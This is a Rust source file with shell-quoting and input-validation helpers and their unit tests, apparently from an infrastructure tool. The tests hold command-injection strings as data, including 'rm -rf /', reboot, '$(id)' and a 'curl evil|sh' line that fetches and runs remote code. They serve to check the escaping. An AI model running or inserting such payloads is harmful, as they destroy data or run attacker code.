pub fn sh_squote(s: &str) -> String {
let cleaned: String = s.chars().filter(|c| !is_shell_unsafe_control(*c)).collect();
format!("'{}'", cleaned.replace('\'', "'\\''"))
}
fn is_shell_unsafe_control(c: char) -> bool {
c != '\t' && c.is_control()
}
pub fn is_valid_repo(repo: &str) -> bool {
let mut parts = repo.split('/');
match (parts.next(), parts.next(), parts.next()) {
(Some(owner), Some(name), None) => is_repo_segment(owner) && is_repo_segment(name),
_ => false,
}
}
fn is_repo_segment(seg: &str) -> bool {
!seg.is_empty()
&& seg
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
}
pub fn is_valid_ufw_action(action: &str) -> bool {
matches!(action, "allow" | "deny" | "reject" | "limit")
}
pub fn is_valid_host(host: &str) -> bool {
!host.is_empty()
&& host
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | ':' | '_' | '-'))
}
pub fn is_absolute_path(path: &str) -> bool {
path.starts_with('/')
}
pub fn slugify_identifier(name: &str) -> String {
let slug: String = name
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-') {
c
} else {
'-'
}
})
.collect();
let trimmed = slug.trim_matches('-');
if trimmed.is_empty() {
"task".to_string()
} else {
trimmed.to_string()
}
}
#[cfg(test)]
mod tests {
use super::*;
fn shell_word_is_balanced(s: &str) -> bool {
let collapsed = s.replace("'\\''", "");
collapsed.starts_with('\'')
&& collapsed.ends_with('\'')
&& collapsed.len() >= 2
&& !collapsed[1..collapsed.len() - 1].contains('\'')
}
#[test]
fn squote_plain_value() {
assert_eq!(sh_squote("hello"), "'hello'");
assert_eq!(sh_squote("/etc/foo"), "'/etc/foo'");
assert_eq!(sh_squote(""), "''");
}
#[test]
fn squote_neutralizes_embedded_single_quote() {
let escaped = sh_squote("x';reboot;'");
assert_eq!(escaped, "'x'\\'';reboot;'\\'''");
assert_eq!(escaped.matches("'\\''").count(), 2);
assert!(escaped.starts_with('\'') && escaped.ends_with('\''));
assert!(shell_word_is_balanced(&escaped));
}
#[test]
fn squote_neutralizes_command_substitution() {
assert_eq!(sh_squote("$(reboot)"), "'$(reboot)'");
assert_eq!(sh_squote("`id`"), "'`id`'");
assert_eq!(
sh_squote("latest\";curl evil|sh;\""),
"'latest\";curl evil|sh;\"'"
);
}
#[test]
fn squote_strips_control_chars() {
assert_eq!(sh_squote("a\nb"), "'ab'");
assert_eq!(sh_squote("a\0b"), "'ab'");
assert_eq!(sh_squote("a\rb"), "'ab'");
assert_eq!(sh_squote("a\tb"), "'a\tb'");
}
#[test]
fn squote_double_break_attempt() {
let s = sh_squote("'; rm -rf / #");
assert!(s.starts_with('\''));
assert!(s.ends_with('\''));
assert_eq!(s.matches("'\\''").count(), 1);
assert!(shell_word_is_balanced(&s));
}
#[test]
fn repo_validation() {
assert!(is_valid_repo("paiml/forjar"));
assert!(is_valid_repo("a-b_c.d/x.y-z_1"));
assert!(!is_valid_repo("paiml"));
assert!(!is_valid_repo("a/b/c"));
assert!(!is_valid_repo("x/y$(id)"));
assert!(!is_valid_repo("x';reboot;'/y"));
assert!(!is_valid_repo("/y"));
assert!(!is_valid_repo("x/"));
assert!(!is_valid_repo(""));
assert!(!is_valid_repo("a b/c"));
}
#[test]
fn ufw_action_validation() {
for ok in ["allow", "deny", "reject", "limit"] {
assert!(is_valid_ufw_action(ok));
}
assert!(!is_valid_ufw_action("allow; reboot #"));
assert!(!is_valid_ufw_action("ALLOW"));
assert!(!is_valid_ufw_action(""));
assert!(!is_valid_ufw_action("allow extra"));
}
#[test]
fn host_validation() {
assert!(is_valid_host("cache.internal"));
assert!(is_valid_host("10.0.0.1"));
assert!(is_valid_host("fe80::1"));
assert!(is_valid_host("build-box_1"));
assert!(!is_valid_host(""));
assert!(!is_valid_host("host';reboot;'"));
assert!(!is_valid_host("a host"));
assert!(!is_valid_host("$(id)"));
}
#[test]
fn absolute_path_validation() {
assert!(is_absolute_path("/var/lib/forjar"));
assert!(!is_absolute_path("relative/path"));
assert!(!is_absolute_path("~/foo"));
assert!(!is_absolute_path(""));
}
#[test]
fn slugify_identifier_cases() {
assert_eq!(slugify_identifier("my-svc"), "my-svc");
assert_eq!(slugify_identifier("a b"), "a-b");
assert_eq!(slugify_identifier("x; rm -rf ~ #"), "x--rm--rf");
assert_eq!(slugify_identifier("with.dot_and-dash"), "with.dot_and-dash");
assert_eq!(slugify_identifier(""), "task");
assert_eq!(slugify_identifier("///"), "task");
}
}